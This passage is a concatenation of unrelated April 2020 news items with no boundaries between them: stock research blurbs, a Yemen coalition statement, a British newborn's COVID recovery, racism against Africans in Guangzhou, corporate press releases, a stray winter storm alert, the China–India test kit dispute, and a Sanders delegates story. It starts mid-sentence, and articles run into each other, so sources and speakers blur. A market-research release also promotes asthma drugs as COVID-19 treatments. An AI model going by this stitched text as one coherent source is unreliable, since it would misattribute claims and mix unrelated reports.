constrained supply amid coronavirus outbreak in China remain concerns. (You can read the full research report on Intel here >>> ) Shares of Novartis have gained +11% over the past year against the Zacks Large Cap Pharmaceuticals industrys rise of +12.4%. The Zacks analyst believes that pipeline setbacks and generic competition for additional drugs are concerning. Novartis has a strong oncology portfolio and a formidable generics business. The solid performance of key drugs like Cosentyx and Entresto, and contribution from gene therapy, Zolgensma, have boosted the performance in recent times and offset the impact of generic competition for legacy drugs. New launches like Piqray, Mayzent and Beovu should further boost sales. The biosimilar portfolio also gains traction with new key approvals. The deep pipeline is encouraging as well. Novartis is also focusing on developing treatments for coronavirus and a positive outcome will boost the stock significantly. However, price erosion in the United States has adversely impacted the generics business. Story continues (You can read the full research report on Novartis here >>> ) Toyotas shares have lost -13.3% over the past three months against the Zacks Foreign Automotive industrys fall of -18.4%. The Zacks analyst believes that expanding portfolio of product lines is driving Toyotas prospects. In order to capitalize on the accelerated global shift to electric cars, the auto giant of Japan is focusing on developing electric and autonomous vehicles. Toyota is working on hydrogen fuel stations in collaboration with various partners. The company aims to achieve half its global sales from electric vehicles by 2025. However, anticipating a slowdown in India, China, Indonesia and Thailand, the company narrowed its annual vehicle sales target for fiscal 2020. Moreover, coronavirus woes and high research and development expenses on advanced technologies for the development of EVs and driverless cars are also likely to dent near-term margins. Its high debt levels also remain a concern. As such, investors are recommended to wait for a better entry point. (You can read the full research report on Toyota here >>> ) Other noteworthy reports we are featuring today include Union Pacific (UNP), Southern (SO) and Biogen (BIIB). Just Released: Zacks 7 Best Stocks for Today Experts extracted 7 stocks from the list of 220 Zacks Rank #1 Strong Buys that has beaten the market more than 2X over with a stunning average gain of +24.1% per year. These 7 were selected because of their superior potential for immediate breakout. See these time-sensitive tickers now >> Sheraz Mian Director of Research Note: Sheraz Mian heads the Zacks Equity Research department and is a well-regarded expert of aggregate earnings. He is frequently quoted in the print and electronic media and publishes the weekly Earnings Trends and Earnings Preview reports. If you want an email notification each time Sheraz publishes a new article, please click here>>> Today's Must Read Intel (INTC) Rides on AI-based Alliances & Product Rollouts New Drugs Boost Novartis (NVS) Amid Generic Competition Focus on Electric Cars Aids Toyota (TM), High Debt Ails Featured Reports Volume Woes Ail Union Pacific (UNP,) Free Cash Flow Aids The Zacks analyst lauds the company's ability to generate free cash flow. However, volume contraction (down 7% in Q120) due to weak shipments following coronavirus is worrisome. Southern Company (SO) Buoyed by Regulated Customer Growth The Zacks analyst believes that increase in Southern's regulated business customer base will support its revenue growth but is concerned over timing and cost overrun related to Vogtle project. Biogen (BIIB) Drug Sales to Show Mixed Impact of COVID-19 The Zacks analyst notes that while COVID-19 is unlikely to significantly weigh on sales of Biogen's key drug, Tecfidera in 2020, sales of Tysabri and Spinraza may be hurt by the same. Low Debt, Cost Control Support Vale (VALE) Amid Low Prices Per the Zacks analyst, lower debt levels and focus on improving quality, productivity and lowering costs will drive Vale's growth despite the impact of lower commodity prices. Kinder Morgan (KMI) Banks on PHP Development, Debts High The Zacks analyst believes that Kinder Morgan's proposed Permian Highway Pipeline (PHP) project will fetch it stable fee-based revenues. End-Market Strength & Diversification Aids Amphenol (APH) Per the Zacks analyst, Amphenol benefits from strong military and commercial aerospace end-market demand. Cerner (CERN) Rides on EHR & EMRs, Margin Contraction a Woe Per the Zacks analyst, Cerner continues to benefit from its lucrative EHR (Electronic Health Record) & EMR (Electronic Medical Record) platforms. But operating margin contraction remains a concern. New Upgrades Philips (PHG) Benefits from Solid Portable Ventilator Demand Per the Zacks analyst, Phlips is benefiting from strong demand for portable ventilators amid the coronavirus pandemic. This is expected to drive Connected Care top-line growth in the near term. Products Innovation & Digital Efforts to Aid Mattel (MAT) Per the Zacks analyst, product innovation, marketing partnerships, promotional initiatives and digital efforts along with increased focus on structural simplification bode well for Mattel. Guess? (GES) Sales to Benefit From Solid Digital Initiatives Per the Zacks analyst, Guess?'s ongoing online operations amid coronavirus will offer some cushion against lost store sales. The company has been gaining from moves to aid e-commerce and mobile sales. New Downgrades Weak Revenues, High Expenses Drag HCA Healthcare (HCA) Per the Zacks analyst, the coronavirus pandemic puts a pressure on revenues due to cancellation in elective surgeries, which weighs on the margins. Its high cost level is another concern. Foot Locker (FL) Top-Line to Bear the Brunt of Coronavirus Coronavirus outbreak has hurt Foot Locker business activities compelling it to close stores amid shrinking demand and supply chain hurdles. Per the Zacks analysts, this is likely to hit sales results. TD Ameritrade (AMTD) Exposed to Escalating Technology Costs Per the Zacks analyst, investments in newer technologies and advice and guidance offerings are likely to weigh on TD Ameritrade's cost base. Also, unsustainable capital deployment remains a concern. undefined undefined Union Pacific Corporation (UNP) : Free Stock Analysis Report Toyota Motor Corporation (TM) : Free Stock Analysis Report Southern Company (The) (SO) : Free Stock Analysis Report Novartis AG (NVS) : Free Stock Analysis Report Intel Corporation (INTC) : Free Stock Analysis Report Biogen Inc. (BIIB) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Saudi-Led Coalition Calls on Parties to Yemeni Conflict to Stop Escalation Sputnik News 04:56 GMT 27.04.2020 MOSCOW (Sputnik) - The Saudi-led Arab coalition, fighting in Yemen against the Houthi rebels, called on Monday on the parties to the Yemeni conflict to stop any actions resulting in escalating tensions, and to resume compliance with the 2019 peace deal, signed in Riyadh. "The Coalition urges for an immediate end to any steps contrary to the Riyadh Agreement, and work rapidly toward its implementation, citing the wide support for the agreement by the international community and the United Nations. The Coalition has and will continue to undertake practical and systematic steps to implement the Riyadh Agreement between the parties to unite Yemeni ranks, restore state institutions and combat the scourge of terrorism," the coalition said in a statement, released by the official Saudi Press Agency. The coalition stressed the need to prioritize the interests of the Yemeni people "above all else." In the early hours of Sunday, Yemen's Southern Transitional Council (STC), created by the rebels back in 2017, introduced self-governance in the country's southern provinces, declaring a state of emergency there and tasking armed forces with implementing it. The council accused the Yemeni government of plotting against the Yemeni people, of being engaged in corruption and of failing to pay salaries to both servicemen and civilians for several months. However, the provinces of Abyan, Shabwah, Hadhramaut, Al Mahrah, and Socotra refused to support the council's decision. In November 2019, the internationally recognized Yemeni government and the STC signed in Riyadh the peace agreement, aimed at putting an end to the armed conflict, ongoing since 2015. Apart from other things, the agreement envisioned that the separatists should return the previously seized facilities and state institutions in Yemen's south to the government. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The mother of three-week-old girl who is believed to be the youngest person in Britain to recover from coronavirus was left in tears after being surprised by the 'hero' NHS staff who treated her daughter. Peyton Maguire, Bellshill, North Lanarkshire, was delivered by C-section at University Hospital Wishaw eight weeks early and weighing just 3lbs 5oz, after her mother Tracy was diagnosed with pre-eclampsia. After being cared for in an incubator in the neonatal unit, Peyton tested positive for coronavirus in April - despite not having any symptoms, However last week after two negative tests, Peyton was able to go home with parents Tracey, 27, and AJ, 28. Appearing on Good Morning Britain today, the family were given a message from the staff who saved her baby's life, who told her it was a pleasure' to look after them, and that they couldn't wait to meet baby Peyton after lock-down. Appearing on GMB today, the parents of three-week-old Peyton Maguire (pictured), Bellshill, North Lanarkshire, spoke of their daughter's coronavirus diagnosis Mother Tracey was left in tears after being surprised by the 'hero' NHS staff who treated her daughter. Pictured left, consultant neonatologist Dr. Caroline Delahunty Speaking of her diagnosis, dad AJ said: 'Tracey was crying. They confirmed she had coronavirus and it was mind numbing. It was a very dark time, but she's absolutely fine now.' He went on: [The NHS] 'They're the real soldiers, they always have been. People are just realising it. 'They have to go and risk their lives and their families and I cannot thank the medics enough, they're the real heroes in the world. There's nothing, there is no gift that can repay what they've done.' Tracey became emotional as host Lorraine Kelly announced that community midwife Sandra Coombes, Dr. Caroline Delahunty and nurse Laura Lang had a message for her and her family. Peyton was born eight weeks premature, weighing just 3lbs 5oz and was delivered by C-section at University Hospital Wishaw after mother Tracy was diagnosed with pre-eclampsia Sandra said: 'It's lovely to know you're home and well, it was absolute pleasure looking after you. I can't wait to meet wee baby Payton when we're all well and good again.' As Tracey was left wiping away her tears, Dr. Caroline added: 'Tracey, AJ and Peyton, it's just to say we're all thinking of you these are difficult challenging times. 'Treasure each moment you have with Peyton and remain positive and thank you very much for all the feedback we've received from you.' Nurse Laura added she was 'so pleased' the family had managed to recover. Peyton was first diagnosed after being tested for a range of viruses when she developed a sniffle, and Tracey told she was completely overwhelmed after being told of the diagnosis. Tracey became emotional as host Lorraine Kelly announced that she would be surprised by the staff who saved her daughter's life Community midwife Sandra Coombes (pictured) said it was 'an absolute pleasure looking after' the family 'When I heard Peyton had coronavirus I was sobbing, said Tracey, 'And really worried about how it could affect her respiratory system, her lungs and if it was life-threatening. 'She'd had a sniffle, which is why they'd tested her for a range of viruses including Covid-19. 'We were told we'd have to stay away from Peyton for 14 days and isolate at home, but I pleaded not to be apart from my baby for that long. Peyton was first diagnosed after being tested for a range of virus when she developed a sniffle, and Tracey told she was completely overwhelmed after being told of the diagnosis. The family are pictured following Peyton's recovery 'The staff kindly agreed I could to isolate with her in the hospital while AJ stayed at home.' She added: 'Watching the staff at work was incredible.They put their lives at risk to make sure my baby was getting fed and cuddled. Even wearing their PPE, they were determined to hold her. 'Peyton is the most precious person in the world to me and it shows the trust I had in the midwives and the other staff that I put her care in their hands - because that is that they are trained to do.' China Continues Racism Against Africans Over Coronavirus Africans in China are still facing discrimination and are being barred from hotels, shops and restaurants in Guangzhou, despite Chinese officials assurance that it would stop. There had been outrage across many African countries earlier this month when racist discrimination in Guangzhou sprang up seeing most African citizens in the province sleeping on the streets. Africans in the city who were contacted recently by the Guardian said they still faced hostility and racism, prompted by fears they may be carriers of Covid-19. Frank Nnabugwu, a Nigerian businessman who has lived in Guangzhou for a year, said he was not allowed to return to his rented accommodation last week after being released from two weeks quarantine. The security guards said to us: No foreigners are allowed. I was upset, very upset. I slept on the street, the 30-year-old said. Police eventually found a hotel willing to rent Nnabugwu a room. We use the receptionist to order food. If they [food delivery companies] know it is a foreigner ordering food they will not come. You cannot buy anything in a shop; if you go in they will cover their face and chase you out. Nnabugwu said Kidus Mulugeta, an Ethiopian who moved to China four years ago to study mechanical engineering, said the atmosphere in Guangzhou had changed rapidly. It was so fast, he said. I went into quarantine We were treated fine. Then we came out. Everything was different, uncomfortable. Like Chinese people changed their minds. Mulugeta, who has a job offer at a Chinese company when he graduates, said many African people found it impossible to rent accommodation and hadnt been allowed into supermarkets. They say no foreigners, but if its a Russian or European, they allow white people to enter, he said. A Ghanaian computer science student said he had been in a hotel when police officers took him to another hotel to be mandatorily quarantined and he was tested more than five times. The 25-year-old, who requested anonymity, said he was denied entry at about 15 hotels and slept on the streets. I have been denied entry into public places, denied into restaurants. All the tests they did have been negative. Anger in Africa rose earlier this month when images of African residents in Guangzhou being barred from various locations began circulating on social media. Other images showed evicted Africans sleeping on the streets. African leaders are generally reluctant to criticise China, which has loaned governments massive sums and provided medical assistance in recent weeks, but the reports provoked rare official protests to Beijing. Many African leaders were shocked by the vehemence of the online reaction in Africa to the incidents, said Cobus Van Staden, an expert in China-Africa relations at the South African Institute of International Affairs. They realised there was domestic pressure,they usually tend to downplay [problems] but I think they realised that would be politically impossible this time, he said. A number of African states called in Chinese ambassadors and the African Union, which represents more than 50 states, said the discrimination had caused grief, pain and humiliation to all Africans, The Guardian reports. STOCKHOLM, April 28, 2020 /PRNewswire/ -- The previously postponed 2020 Annual General Meeting (AGM) of Husqvarna AB is now rescheduled for June 26, 2020. The meeting will be held via mail-in voting to the extent permitted under currently pending rules. Otherwise, the AGM will be held physically in Stockholm, in a very scaled-back format. Due to the COVID-19 situation, the Board of Husqvarna AB has also decided to withdraw its prior proposal that the AGM approve a reduced dividend for fiscal year 2019, and instead proposes that no dividend be paid. A revised formal Notice of AGM for the new date, will be issued no later than May 27, 2020. Changes to Dividend Proposal Previously, in the Notice of AGM published on February 28, 2020, the Board of Directors proposed a dividend for financial year 2019 of SEK 2.25 per share. On March 19, 2020, the Board adopted a new proposal that the dividend for financial year 2019 be initially set at SEK 0.75 per share. Given the ongoing market instability and uncertainties regarding mid-term economic impacts of COVID-19, the Board no longer considers it prudent for the AGM to resolve on any dividend at the current time. Accordingly, the Board withdraws its proposal for prior AGM item 8b in its entirety. The Chair of the Board, Tom Johnstone notes: "The decision to withdraw the dividend proposal is consistent with a number of measures the Company and Board are taking to reduce the impacts of COVID-19 on the Company. The Board will continuously re-evaluate the situation and may call an Extra General Meeting later this year to resolve on a potential dividend, if, at such time, the market is stabilized, and visibility of earnings is normalized". New Date and Potential Changes in Format of AGM The AGM was originally scheduled to be held on April 2, 2020. In light of health concerns surrounding COVID-19, the Board decided to postpone the AGM to a later date. The Board has now resolved that the new date for the AGM shall be June 26, 2020 in Stockholm. In lieu of a physical meeting, it is the desire of the Company to hold such AGM pursuant to new rules which, if finally adopted, will permit annual meetings to be conducted in a manner where votes (and questions) are mailed-in to the Company in advance of the meeting. Should such "mail-in" option not be practical or possible (e.g., if the new rules are not finally approved), then the AGM will be physically held, but in a significantly scaled-back fashion to safeguard health. More details, including a final decision on whether the AGM will be held physically or by mail-in process, will be included in a new formal notice of AGM which will be issued no later than May 27, 2020. For additional information, please contact Johan Andersson, Director, Corporate Communications and Investor Relations +46-702-100-451 or [email protected] This press release contains insider information that Husqvarna AB is required to disclose under the EU Market Abuse Regulation and the Securities Markets Act. The information was submitted for publication, through the contact person set out above, at 19.00 CET on April 28, 2020. This information was brought to you by Cision http://news.cision.com https://news.cision.com/husqvarna-ab/r/husqvarna-ab-s-annual-general-meeting---new-meeting-date-and-withdrawal-of-dividend-proposal,c3099683 The following files are available for download: https://mb.cision.com/Main/996/3099683/1238346.pdf Press release (PDF) SOURCE Husqvarna AB Weather Alert ...Winter Storm System to Impact the Region this Weekend... A strong winter storm system will push east through the Quad State Saturday into Sunday. Wintry precipitation will spread eastward into southern Illinois and southeast Missouri late Friday night, and then southeast over the remainder of the region Saturday morning. The evolution of the storm for the remainder of the weekend is quite uncertain at this time. The ultimate path and intensity of the storm system, along with the temperature forecast, will determine how impactful it will be across the Quad State. For now you are encouraged to monitor the latest forecasts and follow your winter weather preparedness plans ahead of this potentially impactful winter storm. After ICMR cancelled orders of rapid test kits from two Chinese companies, Chinese embassy Spokeperson Ji Rong issued a statement saying it is 'unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice' New Delhi: China on Tuesday said it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by two Chinese companies and subsequent decision by the Indian Council of Medical Research (ICMR) to not use the equipment, and hoped that New Delhi will resolve the issue "reasonably and properly". The ICMR on Monday asked states and union territories to stop using the test kits procured from the Chinese companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to "wide variations" in their performance. "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products," Chinese embassy Spokeperson Ji Rong said. In a statement, she also said it is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice". Ji, however, did not clarify who are the individuals she was referring to. At the same time, the spokesperson said China will continue to support India's fight against the pandemic and will jointly work with New Delhi to overcome the challenge "at an early date" to protect people of the two countries from the infection. India procured around 500,000 rapid antibody test kits from the two Chinese firms nearly two weeks back and they were distributed to several states reporting rising cases of the coronavirus infection. In a communication, the ICMR asked states and union territories to return the kits to the central government so that they can be sent back to the suppliers. The government said not a single rupee will be lost as payments were not made to the Chinese suppliers of the kits. The procurement of the kits from the two Chinese companies have been cancelled after the equipment were found under-performing, the government said. In her statement, Ji said the Chinese Embassy has maintained close contact with the ICMR and the two Chinese companies to find out the "real situation", adding China not only sincerely supports India in its fight against COVID-19, but has also been taking concrete actions to help it. "The COVID-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America," Ji said. "We have also learned that there are strict requirements for the storage, transportation and use of COVID-19 antibody rapid test kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations," she added. The Chinese embassy spokesperson hoped that India would respect "China's goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve it reasonably and properly." "Viruses are common enemy of mankind. Only by working together, can we win this battle against the epidemic. Following India's epidemic situation, China has been feeling the same, shared its experiences in epidemic prevention, control and treatment, and donated medical materials to India," Ji said. The spokesperson said China and India have maintained close communication and cooperation since the outbreak of COVID-19. "We will continue to support India's efforts in fighting COVID-19, strengthen medical and health cooperation, and jointly work with India to overcome the difficulties at an early date, so as to safeguard the safety and health of our peoples as well as global and regional public health security," she added. The government had decided to procure rapid antibody testing kits as the regular tests (RT-PCR) takes longer time. A number of states, including Rajasthan and West Bengal, complained about the quality of the test kits, following which the ICMR asked them to temporarily not use them. LONDON, April 28, 2020 /PRNewswire/ -- The unprecedented outbreak of coronavirus has caused a surge in demand for essential pharmaceutical drugs, some bronchodilators, and medical devices, including anti-asthmatics and chronic obstructive pulmonary disease (COPD) drugs. With governments across the world advising people to stay indoors and practice social distancing, to reduce the spread of the pandemic, individuals are hoarding these medications. This has created a sudden rise in demand for anti-asthmatics and COPD drugs. Anti-asthmatics and COPD drug companies are closely monitoring the situation and increasing supply of essential medicines and other medical devices for at least 3 to 6 months. Additionally, some anti-asthmatics and COPD drugs such as albuterol are being used in the treatment of COVID-19. In the wake of the pandemic, companies are focusing on modifying their supply chain activities to maximize the output to keep up with the rising demand for these drugs. Read More On The Business Research Company's Anti-Asthmatics And COPD Drugs Market Report: https://www.thebusinessresearchcompany.com/report/anti-asthmatics-and-copd-drugs-market Anti-Asthmatic And COPD Drugs Market Driven By COVID-19 The global anti-asthmatics and COPD drugs market will grow from $40,162.1 million in 2019 to $47,176.2 million in 2023 at a compound annual growth rate (CAGR) of 4.1%. Increasing use of anti-asthmatics and COPD drugs in the treatment of COVID-19 is expected to drive the market in the near forecast period. Coronavirus, which originated in the Wuhan province of China, later spread globally. Several anti-asthmatics and COPD drugs such as albuterol are being used in the treatment of COVID. With the medication for COVID-19 still in the research phase, doctors around the world are increasingly using anti-asthmatics to treat the symptoms of COVID-19. This is expected to increase the demand for anti-asthmatics in the near future, and thereby drive the market for anti-asthmatics and COPD drugs. Anti-Asthmatic And COPD Drugs Used In COVID-19 Treatment Anti-asthmatics and COPD drugs that are being used in the treatment of corona virus include ciclesonide and albuterol inhalers. Ciclesonide is a drug that works as a steroid inhalant to suppress the immune system. This asthma drug appears to be effective and helps in reducing symptoms of coronavirus in patients who developed pneumonia. Albuterol inhaler is a drug that is used to treat asthma or certain types of COPD, and is being used in the treatment of COVID-19. Request A Free Sample Of The Anti-Asthmatic And COPD Drugs Market Report: https://www.thebusinessresearchcompany.com/sample.aspx?id=2417&type=smp Anti-Asthmatic And COPD Drugs Market Overview And Segments The anti-asthmatics and COPD drugs market consists of sales of anti-asthmatics and COPD drugs by entities (organizations, sole traders and partnerships) that manufacture anti-asthmatics and COPD drugs which are used to prevent and treat asthma and chronic obstructive pulmonary disease (COPD). The anti-asthmatics and COPD drug industry includes establishments that manufacture anti-asthmatics and COPD drugs such as bronchodilators, anti-inflammatory drugs, monoclonal antibodies and combination drugs. The anti-asthmatics and COPD drugs market is segmented by class into bronchodilators, anti-inflammatory drugs, monoclonal antibodies, and combination drugs. By therapy, the market is segmented into preventive and curative. By route of administration, it is segmented into oral, inhaled, intravenous, and subcutaneous. Key Players In The Concentrated Anti-Asthmatic And COPD Drugs Market The anti-asthmatics and COPD drugs market is consolidated, with a small number of large players in the market. This market concentration can be attributed to the high barriers to entry in the form of costs and regulatory challenges. GlaxoSmithKline plc was the largest competitor in the market. Other major players include AstraZeneca plc., Boehringer Ingelheim GmbH, F. Hoffmann-La Roche Ltd., Novartis AG, Sanofi S.A., Chiesi Farmaceutici S.p.A., Merck & Co., Inc., Teva Pharmaceutical Industries, and Sumitomo Dainippon Pharma Co., Ltd. Here Is A List Of Similar Reports By The Business Research Company: Respiratory Devices And Equipment (Therapeutic And Diagnostic) Global Market Report 2020 Monoclonal Antibodies (MAbS) Global Market Report 2020 Interested to know more about The Business Research Company? The Business Research Company is a market intelligence firm that excels in company, market, and consumer research. Located globally it has specialist consultants in a wide range of industries including manufacturing, healthcare, financial services, chemicals, and technology. The World's Most Comprehensive Database The Business Research Company's flagship product, Global Market Model, is a market intelligence platform covering various macroeconomic indicators and metrics across 60 geographies and 27 industries. The Global Market Model covers multi-layered datasets which help its users assess supply-demand gaps. Contact Information The Business Research Company Europe: +44-207-1930-708 Asia: +91-8897263534 Americas: +1-315-623-0293 Email: [email protected] Follow us on LinkedIn: https://in.linkedin.com/company/the-business-research-company Follow us on Twitter: https://twitter.com/tbrc_Info SOURCE The Business Research Company Sen. Bernie Sanders endorses former Vice President Joe Biden in a livestream on April 13. (Getty Images) Bernie Sanders supporters blasted New York election officials Monday after they canceled the state's Democratic presidential primary in the midst of the coronavirus outbreak, costing the former candidate delegates he'd counted on to help influence the party's platform. The discontent threatens to alienate the young liberal faction of the party that backed the Vermont senators presidential bids in 2016 and 2020 a group key to presumptive Democratic nominee Joe Bidens effort to win the White House in November. And it comes at the same time that states that have already voted, notably California, are moving to pare Sanders' delegate haul based on Democratic National Committee rules unless his campaign and that of Biden reach an agreement in negotiations that are underway. Any Democratic Party attempt to strip Sen. Sanders of the delegates he has been awarded or the opportunity to win additional delegates hurts their credibility with core elements of the Democratic base that are essential to defeating Donald Trump, said Neil Sroka, spokesman for Democracy for America, a progressive political action committee. Theres a real risk for the long-term credibility in the eyes of the next generation if its felt like theyre just trying to push Sanders off for the sake of convenience or expediency. When the Vermont senator announced that he was suspending his presidential bid and endorsing Biden this month, he said he planned to remain on ballots to keep collecting delegates so he could sway the party platform on issues such as "Medicare for all," free college and climate change. In recent days, the Sanders campaign and thousands of his supporters urged New York officials to continue with the presidential portion of the primary, already postponed to June 23. But election board officials cited the deadly COVID-19 pandemic, which has killed more than 22,000 in the state, in their decision to cancel. Story continues Jurisdictions with other races on the ballot will still hold elections. New York Gov. Andrew Cuomo announced last week that the state was sending vote-by-mail applications to all registered voters. What the Sanders campaign wanted is essentially a beauty contest that, given the situation with the public health emergency, seems to be unnecessary and, indeed, frivolous, Democratic state election board co-chair Douglas Kellner said in a virtual meeting, according to NY1. Jeff Weaver, a senior advisor to the Sanders campaign, called the election board's decision an outrage, a blow to American democracy and said the state should lose all of its delegates at the Democratic National Convention if it does not reverse course. Just last week, Vice President Biden warned the American people that President Trump could use the current crisis as an excuse to postpone the November election. Well, he now has a precedent thanks to New York state, Weaver said in a statement. (The 20th Amendment says that if the presidential election is not held, rules of succession kick in, making that scenario unlikely.) The Democratic National Committee would ultimately decide whether to seat the New York delegation at its August convention. The Biden campaign did not respond to questions about the New York decision. The New York Democratic Party plans to work with the Biden and Sanders campaigns as it decides how to handle delegates, chairman Jay Jacobs said. I would like to see it be a fair allocation of delegates so that the Sanders supporters are represented in that delegation, Jacobs said, according to the Associated Press. To what degree and what number, I dont know. In California, Sanders won the states primary when it was held in March, with 225 delegates to Biden's 172, a mix of district-level, statewide and superdelegates. (Massachusetts Sen. Elizabeth Warren would get 11 and former New York City Mayor Michael R. Bloomberg would get seven district-level delegates.) But under a Democratic National Committee rule, if a state has an election but statewide and superdelegates are not selected before a candidate withdraws, his or her statewide and superdelegates are reapportioned to candidates still in the race. That would cost Sanders scores of delegates. In recent days, Sanders supporters have called on California Democratic Party Chairman Rusty Hicks and Gov. Gavin Newsom the public face of the party as the highest elected statewide Democrat to give Sanders the delegates he earned during the states primary. Stripping him of his delegates is an affront to the primary process and the policies he is fighting for, Rep. Ro Khanna of Silicon Valley tweeted Sunday. Hicks said the state party is following DNC rules and that he is hopeful that the Biden and Sanders campaigns can reach a compromise as has happened in prior campaigns. Sanders won the state and theres a belief that CDP is taking delegates from Sanders and that simply is not the case, Hicks said. My hope is that the two campaigns and the DNC come together to address this issue so we can in fact move forward to the job we have in November. The Sanders campaign did not respond to requests for comment on this matter. The Biden campaign said it is working to reach an agreement with the Sanders camp. We feel strongly that it is in the best interest of the party to ensure that the Sanders campaign receives statewide delegates to reflect the work that they have done to contribute to the movement that will beat Donald Trump this fall, said a Biden official, who spoke on condition of anonymity. VANCOUVER, April 28, 2020 /PRNewswire/ - Body and Mind Inc. (CSE: BAMM,OTCQB: BMMJ) (the "Company" or "BaM"), a multi-state operator, is pleased to provide an update on operations commencing at the Arkansas dispensary and closing of the San Diego ShowGrow transaction. BaM and Comprehensive Care Group, LLC have opened the dispensary in West Memphis, Arkansas near the border with Tennessee. This was the 22nd dispensary to open in the state out of a total of 33 licensed dispensaries approved in Arkansas, and the first one in Zone 3 along the I-40 corridor. Sales of legal medical cannabis commenced in Arkansas in May 2019 and the program has experienced expanding adoption from medical cannabis patients. "Opening this dispensary with licensee Comprehensive Care is the culmination of years of work and the BaM team has done an admirable job designing and building the facility in West Memphis," stated Michael Mills, President and Interim CEO of Body and Mind." Opening our second dispensary in two weeks is anticipated to add meaningful revenue to the Company as we continue to execute on our debt-free growth strategy. The Arkansas facility is designed for both dispensary and cultivation operations and is consistent with the strategy of bringing BaM's experience to limited license states and expanding brand awareness. I'm extremely proud of our team for completing this project during these challenging conditions and look forward to advancing the cultivation operations later this year. The management and team in Arkansas are following health safety protocols, cleaning regimes, and social distancing protocols to provide a safe environment for both employees and patients. We look forward to welcoming new patients and serving in a safe, clean and supportive environment." Arkansas has numerous criteria for medical patients. Be 18 years of age or older. (Patients under 18 years of age must have parental consent); Have a current diagnosis of a qualifying condition; Hold an official written certification from a physician; and Be an Arkansas resident with proof of residency (Valid Arkansas driver's license or state ID card) resident with proof of residency (Valid Arkansas driver's license or state ID card) Arkansas law prevents members of the Arkansas National Guard and the United States Military from obtaining a registry ID card. Arkansas allows out of state visitors to apply for a temporary Arkansas medical card to obtain medicine while visiting the state. The following is a list of the current qualifying conditions: Cancer, Glaucoma, Positive status for HIV/AIDS, Hepatitis C, Amyotrophic lateral sclerosis (ALS), Tourette's syndrome, Crohn's disease, Ulcerative colitis, Post-traumatic stress disorder (PTSD), Severe arthritis, Fibromyalgia, Alzheimer's disease, A chronic or debilitating disease/medical condition/treatment that produces one or more of the following: Cachexia, or wasting syndrome, Intractable pain, or pain that has not responded to ordinary treatment or surgical methods for more than six (6) months, Peripheral neuropathy, Seizures, including those characteristic of epilepsy, Severe nausea, Severe and persistent muscle spasms, including those characteristic of multiple sclerosis (MS), Any other medical condition or its treatment approved by the Arkansas Board of Health. (Source: Arkansas Department of Health) Completion of San Diego ShowGrow dispensary transaction In addition to opening the Arkansas dispensary, the Company has completed the transaction for the ShowGrow San Diego dispensary. The ShowGrow San Diego dispensary is owned and operated by NMG San Diego LLC which is 60% owned by a BaM subsidiary. The dispensary continues to welcome new patients and customers and has seen a significant increase in advanced on-line orders for pickup since opening. About Body and Mind Inc. BaM is a publicly traded company investing in high quality medical and recreational cannabis cultivation, production and retail. BaM's wholly owned Nevada subsidiary was awarded one of the first medical marijuana cultivation licenses and holds cultivation and production licenses. BaM products include dried flower, edibles, oils and extracts as well as GPEN Gio cartridges. BaM cannabis strains have won numerous awards including the 2019 Las Vegas Weekly Bud Bracket, Las Vegas Hempfest Cup 2016, High Times Top Ten, the NorCal Secret Cup and the Emerald Cup. BaM continues to expand operations in Nevada, California, Arkansas and Ohio and is dedicated to increasing shareholder value by focusing time and resources on improving operational efficiencies, facility expansions, state licensing opportunities as well as mergers and acquisitions. Please visit www.bamcannabis.com for more information. Instagram: @bodyandmindBaM Twitter: @bodyandmindBaM Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. Safe Harbor Statement Except for the statements of historical fact contained herein, the information presented in this news release constitutes "forward-looking statements" as such term is used in applicable United States and Canadian laws. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any other statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects" or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans, "estimates" or "intends", or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved) are not statements of historical fact and should be viewed as "forward-looking statements". Such forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors include, among others, the actual results of activities, variations in the underlying assumptions associated with the estimation of activities, the availability of capital to fund programs and the resulting dilution caused by the raising of capital through the sale of shares, accidents, labor disputes and other risks. Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements contained in this news release and in any document referred to in this news release. Certain matters discussed in this news release and oral statements made from time to time by representatives of the Company may constitute forward-looking statements. Although the Company believes that the expectations reflected in such forward-looking statements are based upon reasonable assumptions, it can give no assurance that its expectations will be achieved. Forward-looking information is subject to certain risks, trends and uncertainties that could cause actual results to differ materially from those projected. Many of these factors are beyond the Company's ability to control or predict. Important factors that may cause actual results to differ materially and that could impact the Company and the statements contained in this news release can be found in the Company's filings with the Securities and Exchange Commission. The Company assumes no obligation to update or supplement any forward-looking statements whether as a result of new information, future events or otherwise. This press release shall not constitute an offer to sell or the solicitation of an offer to buy securities. SOURCE Body and Mind Inc. Related Links https://bamcannabis.com/ Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram New York, April 28, 2020 Tajikistan authorities should immediately restore access to the independent regional news website Akhbor and allow its correspondents to report without fear of reprisal, the Committee to Protect Journalists said today. On April 9, the countrys Supreme Court announced a decision to formally block access to Akhbor and prohibited the outlet from operating in the country, according to news reports, a report by the website, and Mirzo Salimpur, Akhbors founder and editor-in-chief, who spoke to CPJ via messaging app. 